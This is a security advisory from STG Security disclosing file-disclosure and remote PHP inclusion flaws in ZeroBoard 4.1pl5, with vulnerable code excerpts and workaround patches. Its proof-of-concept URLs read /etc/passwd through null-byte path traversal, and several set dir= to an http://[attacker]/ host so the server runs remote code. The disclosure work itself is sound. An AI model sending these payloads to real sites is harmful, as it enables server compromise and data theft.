STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities

Revision 1.1
Date Published: 2004-12-31 (KST)
Last Update: 2005-1-13
Disclosed by SSR Team (advisory@stgsecurity.com)

Summary
=======
ZeroBoard is one of widely used web BBS applications in Korea. However, an
input validation flaw can cause malicious attackers to run arbitrary
commands with the privilege of the HTTPD process, which is typically run as
the nobody user.


Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary commands execution.

Affected Products
================
ZeroBoard 4.1pl5 and prior

Vendor Status: NOT FIXED
========================
2004-12-31 Vulnerabilities found.
2005-01-01 vendor contact, but he didn't replied.
2005-01-10 STG Security, Inc. customers notified.
2004-01-13 Official release.

Details
=======
Vulnerability 1 : File disclosure vulnerability
- - - ------------------------------------
- - - - Proof of concept
http://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

- - - - Environment
php.ini: magic_quotes_gpc = off
outlogin.php is only vulnerable on PHP 5.x.

- - - - Description
PHP has a feature discarding the input values containing null characters
when magic_quotes_gpc = off

- - - - Part of vulnerable source, _head.php.
- - - ----
if(eregi(":\/\/",$_zb_path)) $_zb_path="";
include $_zb_path."lib.php";}
- - - ----

- - - - Part of vulnerable source, include/write.php.
- - - ----
if(eregi(":\/\/",$dir)) $dir=".";
include $dir."/write.php";
- - - ----

- - - - Part of vulnerable source, outlogin.php.
- - - ----
if(eregi(":\/\/",$_zb_path)) $_zb_path="./";
   [snip]
@include $_zb_path."_head.php";
- - - ----

Vulnerability 2 : PHP source injection vulnerability
- - - ------------------------------------
- - - - Proof of concept
http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://
[attacker]/


- - - - Environment
php.ini: register_globals = On, allow_url_fopen = On

- - - - Reason
Uninitialized $dir variable in print_category.php


- - - - Part of vulnerable source, include/print_category.php
- - - ----
include "$dir/category_head.php";
- - - ----

Vulnerability 3 : PHP source injection vulnerability
- - - --------------------------------------
- - - - Proof of concept
http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/

- - - - Environment
php.ini: allow_url_fopen = On

- - - - Reason
Uninitialized $dir variables in login.php, setup.php, ask_password,php and
error.php.

- - - - Part of vulnerable source, skin/zero_vote/login.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/setup.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/ask_password.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

- - - - Part of vulnerable source, skin/zero_vote/error.php
- - - ----
<? include "$dir/value.php3"; ?>
- - - ----

Workaround
==========
Without official patches of these vulnerabilities, modify the vulnerable
sources as following recommendations.

Vulnerability 1: As of zboard 4.1pl5
- - - ----------------------------
Modify the 13rd line of _head.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";

Modify the 16th line of include/write.php as following:
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";

Modify the 50th line of outlogin.php as following:
if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";

Vulnerability 2: As of zboard 4.1pl5
- - - ----------------------------
Insert the following code at the 3rd line of include/print_category.php,
if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";


Vulnerability 3: As of zboard 4.1pl5
- - - ----------------------------
Modify the 1st line of skin/zero_vote/login.php, the 42nd line of
skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,
and the 1st line of skin/zero_vote/error.php as following:

<? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include
"$dir/value.php3"; ?>

Credits
======
Jeremy Bae at STG Security for Vulnerability 1 and 2.
A Korean security community member for Vulnerability 3 which has been
unofficially released since March 2004.